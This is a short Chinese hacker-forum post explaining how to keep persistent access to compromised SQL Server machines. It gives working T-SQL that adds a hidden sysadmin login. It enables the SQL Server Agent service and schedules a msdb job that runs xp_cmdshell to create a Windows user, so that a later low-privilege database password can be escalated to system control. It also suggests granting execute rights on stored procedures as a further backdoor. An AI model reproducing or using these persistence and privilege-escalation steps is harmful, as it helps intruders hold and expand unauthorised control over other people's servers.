|
一般来说我们拿到一台服务器以后为了长期留住都会留后门,关于留后门这个东西这里不在讨论范围之内 有空我写个帖子大家研究下
一般sql server后门最常用的就是
exec master.dbo.sp_addlogin iisloger,hook;
exec master.dbo.sp_addsrvrolemember iisloger,sysadmin 加一个SA用户 . 但是这样很容易被管理员发现.
那天有人问我可不可以建个sql server隐藏用户 这个我到是没用过 . 一般喜欢down掉hash来跑密码 这样容易留住肉鸡
现在又想到了一个新的方法. 就是拿到服务器以后 net start SQLSERVERAGENT 一下 这样就启动了sql server 的
agent服务 一般的管理员很少去注意这个. 这样就给我们留出的空间。 这样我们只要记录服务器的DB或者public密码
下回就可以直接拿到服务器了 具体方法我写过文章了 就是
USE msdb
EXEC sp_add_job @job_name = 'GetSystemOnSQL',
@enabled = 1,
@delete_level = 1
EXEC sp_add_jobstep @job_name = 'GetSystemOnSQL',
@step_name = 'Exec my sql',
@subsystem = 'TSQL',
@command = 'exec master..xp_execresultset N''select ''''exec
master..xp_cmdshell "net user iisloger hook ./add> c:\fish.txt"'''''',N''Master'''
EXEC sp_add_jobserver @job_name = 'GetSystemOnSQL',
@server_name = '这里是你的SQL服务器名' //这里只要select host_name()就有了
EXEC sp_start_job @job_name = 'GetSystemOnSQL'
这样即使我们下次旁注拿到一个DB权限的密码档也一样可以提权了. 不过这里有个弊端 就是一旦被别人拿到密码对方一样可以
通过angent来提权, 这里就要注意到一些保护肉鸡的方法了.
最后还有一个就是可以给sql server的public或者db权限赋予执行某个特定存储过程的权限, 这样也是可以做为我们
一个后门来XX 或者只要master有绝对权限一样可以XX下 哈哈... |
|